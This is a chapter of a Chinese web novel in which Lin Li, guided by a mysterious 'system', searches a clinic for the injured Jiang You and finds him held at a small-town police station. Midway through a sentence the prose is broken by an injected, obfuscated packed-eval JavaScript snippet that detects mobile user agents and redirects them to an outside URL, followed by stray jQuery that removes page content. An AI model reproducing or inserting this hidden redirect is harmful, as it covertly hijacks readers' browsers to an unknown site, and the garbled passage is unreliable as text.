从学校出来,林黎轻车熟路地找到了江攸的病房。没想到推开门,病房里却空无一人。
病床上凌乱地扔着脱下来的病号服,看上去像是离开的时候有些匆忙。
林黎愣住了。
……江攸还病着,身上都是伤,能上哪里去呢?
系统啧了一声:不会是背着你偷偷跑了吧?
林黎出乎意料地看上去倒是很平静:不会的。他答应我会在这里等我,就不会不说一声就离开。
一定是出什么事了。
林黎出了病房,直奔诊所的前台。
面对护士疑惑的眼神,她手里笨拙地比划着,磕磕绊绊地试图向对方询问江攸的去向。
“Theo...Jiang...”她急切地指了指江攸原本住的病房。
“TheoJiang?”
好不容易让对方抓住了关键词,林黎急忙点头。
但是护士接下来说了好几句话,她一句都没听懂。她茫然地看着对方不耐烦地重复着什么,也顾不上对方此时眼神里的嘲笑和鄙夷,从旁边扯来一张白纸,将笔递过去,试图让对方在纸上写点什么。
护士回头跟身后的同事说了句话,两个人便毫无顾忌地笑了起来,一边笑还一边有意无意地打量林黎。
林黎张了张嘴,还没等她说话,对方却只是嫌恶地推开了纸笔。笔被推到桌面边缘滚落了下去,撞到了林黎的脚边。
随即,她朝着林黎身后的女士露出一个微笑,殷切地与对方交谈起来,就好像林黎不存在一般。
林黎低着头看着脚下的笔,垂着的眼睛让人有些看不清她的神色。
如果是换做平时,她绝对不会就这么轻易地放过对方。但是现在江攸不见了,她有更重要的事情要做。
她捡起地上的笔,转身开始询问诊所里每一个她看到的人。
她耐心地朝他们比划着,一个男孩,个子很高,和她一样的黑色眼睛。即便大多数人的第一反应是疑惑和不耐烦,她也没有要放弃的意思。
她语言不通,连一句完整的话都问不出来,在这个偌大的镇子里,怎么能找到一个人呢?
系统看不下去了:他好歹是男主,总不会有什么事,你不如先回家……
林黎心情不好,不想再跟系统磨嘴皮子:你还没发现你问题很大吗?
系统:?
林黎:从进入这个世界开始,你口口声声地说着一切都是为了做任务,一切都是为了江攸——但事实上你根本就不关心他的安危,现在连他失踪了可能会影响到任务,你都不在乎。反倒是我,我跳个楼你耳提面命,我救个油锅你紧张得要命……我只是一个任务者,任务失败了大不了继续做下一个,你这么关注我的安危是为什么?
系统:……
林黎继续道:我猜是你有什么事情没有告诉我,并且这件事可能只与我有关。你可能受到程序限制不能说,我理解,但现在我没有时间去跟你一点一点套你话,我就问你一句——江攸在哪,你能不能找到?
系统发出了疑似过载的刺啦声:……
过了半晌,系统的声音莫名带着点忍辱负重:……可以是可以,但是只有一个小小的问题。
*
普里斯小镇警局。
林黎踮着脚,从折页窗的缝隙里看见了独自一人坐在房间里的江攸。
他脸色有点苍白,左臂不自然地弯着,袖子上有未干的血迹。
他的神色却仍旧镇静得仿若坐在教室里一般,眉眼带着不符合他年龄的冷漠。
林黎感觉到自己的心脏像是被人狠狠地攥了一下。
她转过身,三明治店的老奶奶在愤怒地说着什么,拍在桌上的手微微颤颤,却丝毫不影响桌上的马克笔被力道震得一晃。
老奶奶面前站着一个身材高大健壮的男性,穿着警察制服,胸口别着一个徽章,约莫有五十多岁,两鬓处的发际微微泛白,看上去像警长。
他的表情带着无奈,却根本不敢回嘴,只是偶尔伸手会拍一拍老奶奶的后背帮她顺气。
林黎不知道奶奶在说什么,只是满心希望能快一点——快一点能把江攸带回医院去。
当时系统说它能找到江攸,但是有一点点小问题。林黎没心思跟它拉扯,只是问系统要怎么做。
系统叹了口气,说它可以告诉林黎江攸在哪,甚至可以临时把她的语言系统用非常规的补丁修复三个小时……但是这样做的代价就是这三小时内,系统需要下线更新。
林黎不明白这会有什么问题,系统诡异地沉默了一下。
……
林黎感觉有人拍了拍她的肩膀。她转过脸,看见一个女警察友好地递给她一个纸杯,嘴里说了句什么。
林黎伸手指了指自己的耳朵和嘴巴,然后摇了摇头,示意自己听不见,也说不了话。
女警察恍然大悟,朝她略带歉意地笑了笑,这才走开。
林黎在系统下线的瞬间,整个世界便陷入了一片寂静。不是那种塞着降噪耳机时隔绝一切声音的安静,而是连白噪音都没有的空洞,像是被骤然塞进了一个真空球中。林黎感觉到了一种不受她控制的恐惧——她不知道自己是否还真实存在着,还是眼前的一切都只是一种幻觉。
系统在下线前嘱咐她,去找江攸前最好去把三明治店的老奶奶带过去。
她不懂为什么,但是系统答应帮她找到了江攸,她直觉里相信系统是在帮她。于是她便去了三明治店,找到了老奶奶,在餐巾上一笔一划地写下了“江攸被警察带走了”。
她的六级倒是真没白考,系统一消失,她的世界终于不再文盲了。老奶奶看到她写的字,顿时脸色一变,也顾不上店里还有个客人在吃饭,围裙一解便开始赶人。
林黎眼神却在这个时候落在了她之前来,没看懂被江攸收走的菜单上。她扯了扯嘴角,原来她胡乱一指就指到了酒水,怪不得江攸马上就给她换了儿童菜单。
她看着江攸曾经给她点过的火腿三明治,图片仍旧很诱人,她的目光却在下面的简介上微微停滞。
“火腿三明治,小朋友的最爱,新鲜土耳其面包片,搭配烤制的片火腿,生菜,西红柿,芥黄酱……”
她忽然回忆起了她当时跟系统的对话,还有江攸看着她吃完的那个三明治。
她吃的那个三明治里……并没有西红柿。
……林黎的思绪再次被打断,刚才那个女警察又回来了,手里拿着一个夹板,上面字迹清秀,写着一行字。
“你还好吗?你看起来像是快要晕倒了。”
林黎接过笔,在下面不太流畅地写道:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491470|170162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没事。我只是在等我的朋友。”
女警察看起来年纪不大,蓝色的眼睛看起来很温柔,她继续写道,“你的朋友是TheoJiang吗?”
林黎怔了怔,点了点头。
“不要担心,我们马上就放他走。”
林黎看了眼被警长扶到椅子上坐下的老奶奶,笔尖在纸上划出一个弧度:“他……有麻烦了吗?”
女警察没有来得及回答这个问题。警长朝他们走过来,他看了看林黎,没什么表情地朝女警察说了句什么。
林黎听不见,也读不懂唇语,倒是看见了警长胸口的名字写着Grantham。
和女警察胸口的名卡是一样的。
女警察朝林黎笑了笑,和警长一起进了江攸所在的房间,百褶窗帘也被拉了个严严实实。
林黎下意识看了一眼表。距离系统上线还有一个小时,也就意味着她还有一个小时的语言Buff时间。
她的指尖无意识地摩挲过纸面。要给江攸写点什么吗?
但她一时竟然想不到任何东西可以写。她明明平时有那么多想问的,那么多想说的,到现在她有机会去表达了,却找不到任何一个可以被她放进纸上的表达。
她想告诉江攸的那些话,好像就算受到语言的限制,也都成功传达了。
还是不说了吧。林黎将刚才和女警察对话的纸撕了下来,团成团扔进了脚边的垃圾桶里。
需要她解释的东西太多了,她一旦重新受到语言buff的制裁,又要怎么跟江攸去解释呢?江攸会不会觉得……她是个异类?
林黎无声地叹了口气,眼神紧紧地盯着房间的门——她听不见声音,害怕江攸一出来她没听见而错过了。
*
房间内,江攸一言不发地坐着。
警长坐在他对面,双手交握放在桌上,左手的拇指轻轻敲打着桌面发出规律的响声。他的目光落在江攸的脸上,语气意味不明:“小子,你知道就算我今天放你走,那些学生的父母也不会放过你的吧?”
江攸没有任何反应,连目光都没有移动半分。
“我知道你恨我,”警长语气一转,神色复杂,“因为你妈妈的事。”
江攸放在膝盖上的手指轻轻地动了一下。
“听着,我真的是在帮你,Theo。如果不把你带回警局调查,那些学生家长一定会有其他方法收拾你,小孩们都伤的不重,只是想出口气罢了。”
“如果你能学会聪明点,”警长看着江攸,“在学校跟他们道个歉吧,你总归还要上学的,不是吗?”
女警察没有说话,目光却有些不忍的落在江攸手臂上。
见江攸仍旧是没有要开口说话的样子,警长又叹了一口气,终于准备起身离开。
坐在原地没有动的江攸忽然轻轻笑了一声。
“垃圾。”
他明明是在笑,但眼神里不加掩饰的冰冷和戾气让人脊背发寒,“再怎么伪装和掩饰,垃圾就是垃圾。”
警长脸色彻底黑了下去,当即摔门而去。
“……你可以走了,”女警察叹了口气,开口道,“哦对了,你朋友在外面等你半天了。”
江攸倏地抬起头,神色终于出现了一丝波动。
朋友……她是怎么找到这里来的?